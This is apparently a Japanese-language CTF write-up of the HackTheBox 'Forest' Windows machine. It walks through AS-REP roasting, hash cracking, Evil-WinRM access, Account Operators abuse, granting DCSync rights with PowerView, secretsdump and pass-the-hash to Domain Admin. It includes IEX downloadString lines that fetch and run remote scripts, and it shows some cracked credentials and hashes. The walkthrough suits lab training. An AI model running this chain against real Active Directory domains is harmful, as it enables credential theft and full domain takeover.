> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/forest-hackthebox-writeup.md).

# Forest HackTheBox攻略記事

AXFR - ドメインゾーン転送攻撃（失敗）、RPC列挙 - 有効なドメインユーザーの取得、取得したユーザーでAS-RepRoast攻撃の実行を扱うForest HackTheBox Easy Windowsマシンの攻略記事。

{% embed url="<https://app.hackthebox.com/machines/212>" %}

{% hint style="warning" %}
**スキル:**

* AXFR - ドメインゾーントランスファー攻撃（失敗）
* RPC列挙 - 有効なドメインユーザーの取得
* 取得したユーザーでAS-RepRoast攻撃を実行
* ハッシュのクラック
* WinRMの悪用 - EvilWinRM
* LDAP列挙 - ldapdomaindump
* BloodHound列挙
* SharpHound.ps1でシステム情報を収集 - PuckieStyle
* BloodHoundでのデータの表現と可視化
* BloodHoundで攻撃ベクトルを見つける
* Account Operatorsグループの悪用 - 新しいユーザーの作成
* Account Operatorsグループの悪用 - 新しく作成したユーザーへのグループ割り当て
* ドメイン内のWriteDaclの悪用 - DCSync権限の付与
* DCSyncの悪用 - Secretsdump.py
  {% endhint %}

## 偵察

**作業環境の設定:**

重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f62300cce066223cb1b660f065a37bdd3e13ed84%2Fimage%20(1559).png?alt=media" alt=""><figcaption></figcaption></figure>

**VPN 接続確認**

VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c53c408039e62a2d37b7defb10e47a7eddad0bd2%2Fimage%20(1560).png?alt=media" alt=""><figcaption></figcaption></figure>

**Nmap による開いているポートの検出:**

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.161 -oG allPorts
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b5e2087caa4fd407ed742c404c9d5a6ce05ebd00%2Fimage%20(1561).png?alt=media" alt=""><figcaption></figcaption></figure>

**extractportによる開放ポートの解析：**/ extractport関数を使用して、開いているポートを簡潔な形式で表示し、クリップボードにコピーする。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6fe0f8a217257fdb1ab3120759c0ed2ab0c03410%2Fimage%20(1562).png?alt=media" alt=""><figcaption></figcaption></figure>

**Nmapでのポートバージョンスキャン：**/ Nmapを使用してサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存する:

```bash
nmap -sCV -p88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49671,49676,49677,49682,49705,49914 10.10.10.161 -oN targeted
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ccacd7bbcdd50f2a5268b2e4f5efd560cef41172%2Fimage%20(1563).png?alt=media" alt=""><figcaption></figcaption></figure>

## **一覧と操作:** <a href="#enumeration-et-exploitation" id="enumeration-et-exploitation"></a>

### **SMB偵察:** <a href="#reconnaissance-smb" id="reconnaissance-smb"></a>

CrackMapExecを使ってオペレーティングシステムを特定する

```bash
crackmapexec cmb 10.10.10.161
```

<div data-full-width="true"><figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c249b9b0946cf55be4bb55efa8833429b834c791%2Fimage%20(1564).png?alt=media" alt=""><figcaption></figcaption></figure></div>

DNS経由でドメイン名をIPアドレスに解決するため、IPアドレスに関連付けられたドメイン名/を `/etc/hosts` ファイルに存在するユーザーに対して試します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ccbe548b7042afef02b39c95487a4ba7d6577d2a%2Fimage%20(1566).png?alt=media" alt=""><figcaption></figcaption></figure>

/*/ネットワーク上のSMB共有を調査して共有リソースを特定するが、結果なし。 //*

```bash
crackmapexec smb 10.10.10.161 --shares
```

```bash
smbclient -L 10.10.10.161 -N
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ead32c7cab9614c854b972ad27bafea487033144%2Fimage%20(1565).png?alt=media" alt=""><figcaption></figcaption></figure>

### **RPC偵察:** <a href="#reconnaissance-rpc" id="reconnaissance-rpc"></a>

rpcclientを使用してCPPサービスとやり取りし、リソース情報を収集する

```bash
rpccclient -U "" 10.10.10.161 -N
enumdomusers
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8ba2900412473c9125cb98ea67e44eb358aa820b%2Fimage%20(1567).png?alt=media" alt=""><figcaption></figcaption></figure>

#### グループを一覧表示する:

```bash
rpcclient -U "" 10.10.10.161 -N -c 'enumdomgroups'
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a05b4db631f36c83d6747ada6553d52ba4e07944%2Fimage%20(1569).png?alt=media" alt=""><figcaption></figcaption></figure>

## ASREPRoast攻撃:

#### 有効なユーザーの一覧があれば、ユーザーパスワードが不要なためAS-RepRoast攻撃を実行します。

私たちは `grep` ユーザー名をフィルタリングし、これらのデータをファイルに挿入する

```bash
rpcclient -U "" 10.10.10.161 -N -c 'enumdomusers' | grep -oP '/[.*?/]' | grep -v 0x | tr -d '[]' > users
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2897e55ebec297609a6e790c7af63be8549f0f3b%2Fimage%20(1568).png?alt=media" alt=""><figcaption></figcaption></figure>

#### GetNPUsers.pyツールを使って、パスワードなしでユーザー情報を抽出します:

```bash
GetNPUsers.py htb.local/ -no-pass -usersfile users
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b903484512efe33896f29aab34df9a878327d1f0%2Fimage%20(1570).png?alt=media" alt=""><figcaption></figcaption></figure>

#### ユーザー「lucinda」のパスワードのハッシュを取得し、あらかじめ用意したパスワードリストを使ってJohn the Ripperで解読を試みます:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4b026f80d2eaafada249a1a317847289f89b7a0d%2Fimage%20(1571).png?alt=media" alt=""><figcaption></figcaption></figure>

#### WinRM接続を試して、CrackMapExecを使って解読したパスワードが正しいか確認します:

```bash
crackmapexec winrm 10.10.10.161 -u 'svc-alfresco' -p 's3rvice'
```

<div data-full-width="true"><figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-da5bd730d33010e5692d67ebd33414e7ec559312%2Fimage%20(1573).png?alt=media" alt=""><figcaption></figcaption></figure></div>

#### 最後に、解読した認証情報を使ってEvil-WinRMでリモートマシンに接続します:

```bash
evil-winrm -i 10.10.10.161 -u 'svc-alfresco' -p 's3rvice'
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-05ccf5014908a55a42a3df732615aac6f50849b4%2Fimage%20(1574).png?alt=media" alt=""><figcaption></figcaption></figure>

## 権限昇格：

### BloodHoundによるドメイン列挙 <a href="#domain-enumeration-with-bloodhound" id="domain-enumeration-with-bloodhound"></a>

<details>

<summary>BloodHoundのインストール:</summary>

```
apt install neo4j bloodhound
neo4j console &> /dev/null & disown
lsof -i:7474
```

/*neo4j:neo4jの名前でBloodHoundにログインする。 //*

![](https://hacking-notes-jordan.gitbook.io/~gitbook/image?url=https:%2F%2F3892280740-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FOeqybfPyWliD6m1hbKa3%252Fuploads%252F5FZcDczkNZW0GsV9GveF%252Fimage.png%3Falt=media%26token=5de0c395-08b3-4abc-b373-683dddae7528/\&width=300/\&dpr=4/\&quality=100/\&sign=24bf837c04919e72ec25399b5eb63e0e4c1ea9abe1362606119b2c5ac4d8fd74)

**BloodHoundを起動する。**

```bash
bloodhound &> /dev/null & disown
```

</details>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0cbcf772d4073c8f4c688f1d43a11e86a1f21ac8%2Fimage%20(1577).png?alt=media" alt=""><figcaption></figcaption></figure>

### SharpHound.ps1で情報を収集する <a href="#collect-information-with-sharphound.ps1" id="collect-information-with-sharphound.ps1"></a>

{% embed url="<https://github.com/puckiestyle/powershell/blob/master/SharpHound.ps1>" %}

### 収集したデータをLinuxサーバーへ転送する。

```bash
python3 -m http.server 80
```

```bash
IEX(New-object Net.WebClient).downloadString('http://10.10.14.8/SharpHound.ps1')
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a888b288ff4a8bbe355123bae68ab253b90ff436%2Fimage%20(2121).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
Invoke-BloodHound -CollectionMethod All
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ddd4a56c1a63d03f39c28dfaffa41edccf140c30%2Fimage%20(2122).png?alt=media" alt=""><figcaption></figcaption></figure>

#### zip ファイルをチームに転送します。

```bash
download C:/Users/svc-alfresco/Desktop/bh/20240329121547_BloodHound.zip data.zip
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3fd1a8153a045da19da182b5ecb8be5b3cd8e6e7%2Fimage%20(2123).png?alt=media" alt=""><figcaption></figcaption></figure>

/*BloodHoundにzipファイルをインポートする。 //*

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-badb346b1ce8b764467faf062f8afd287e72a5d3%2Fimage%20(1555).png?alt=media" alt=""><figcaption></figcaption></figure>

### BloodHoundの分析と操作 <a href="#analyse-et-exploitation" id="analyse-et-exploitation"></a>

#### ドメイン管理者への最短経路を見つけるためにデータをフィルタリングする。

<div data-full-width="true"><figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-56d48ef789079360505f1028687332b5a42b541b%2Fimage%20(1556).png?alt=media" alt=""><figcaption></figcaption></figure></div>

#### 問題のある可能性があるグループ（Account Operator）への所属を特定する。

<div data-full-width="true"><figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-141df2341334f9a3fb6def4a3eaa6ecdef4cfe99%2Fimage%20(1557).png?alt=media" alt=""><figcaption></figcaption></figure></div>

<div data-full-width="true"><figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-90c071d0bc48a17d5b9247399d726b49a67c0856%2Fimage%20(1558).png?alt=media" alt=""><figcaption></figcaption></figure></div>

#### ユーザー作成機能を使ってDCSync攻撃の準備をする。

```bash
net user jordanmacia password123$ /add /domain
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-119ea87726b1f0e249b20ca1e0d789e2f785e592%2Fimage%20(2125).png?alt=media" alt=""><figcaption></figcaption></figure>

### 十分な権限なしでのDCSync試行

```bash
impacket-secretsdump htb.local/jordanmacia@10.10.10.161
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a90df4cc9870e24d40d846a272bf74eebd9a937e%2Fimage%20(2127).png?alt=media" alt=""><figcaption></figcaption></figure>

#### より高い権限を持つグループにユーザーを追加（`Exchange Windows Permissions`).

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b8083f0f7d784e1ecbea76aa408400cc0c487366%2Fimage%20(2128).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
net group "Exchange Windows Permissions" jordanmacia /add
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-92e62d1e545d3efb2e432b19c9d617fa87c32600%2Fimage%20(2130).png?alt=media" alt=""><figcaption></figcaption></figure>

### WriteDACL攻撃:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f8ec48c1226e4b7790523073572b707314c4bbc2%2Fimage%20(2131).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
$SecPassword = ConvertTo-SecureString 'password123$' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('htb.local/jordanmacia', $SecPassword)
```

PowerView\.ps1を使ってWriteDACL攻撃を準備し、機能を追加する。

{% embed url="<https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1>" %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d828bd2214a9c47423c6a7a999178504da4cf9ad%2Fimage%20(2132).png?alt=media" alt=""><figcaption></figcaption></figure>

#### ファイル転送

```
python3 -m http.server 80
```

```bash
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11/PowerView.ps1')"
```

## DCSync攻撃の脆弱性 <a href="#dcsync-attack-vulnerability" id="dcsync-attack-vulnerability"></a>

#### ハッシュを取得するためにAdd-DomainObjectAclコマンドを実行する。

```
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity jordanmacia -Rights DCSync
```

#### ユーザーjordanmaciaを使ってImpacketでハッシュを抽出する。

```
impacket-secretsdump htb.local/jordanmacia@10.10.10.161
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2ab462571d16f82401e7dabe9952b9985939e990%2Fimage%20(2133).png?alt=media" alt=""><figcaption></figcaption></figure>

### Pass-the-Hash攻撃:

管理者のNTハッシュを使ってPass-the-Hash攻撃を行う。

```bash
evil-winrm -i 10.10.10.161 -u 'Administrator' -H '32693b11e6aa90eb43d32c72a07ceea6'
```

#### 管理者権限でシステムにアクセス。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ec7d36b08714df1a2e945cc4005afd82e582100f%2Fimage%20(2134).png?alt=media" alt=""><figcaption></figcaption></figure>

### 最終フラグ :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-144436433378152ef3437d52df416d5bd22b6081%2Fimage%20(2135).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0f56ab45377213ae666b2737dcd78217333aa616%2Fimage%20(1413).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/forest-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
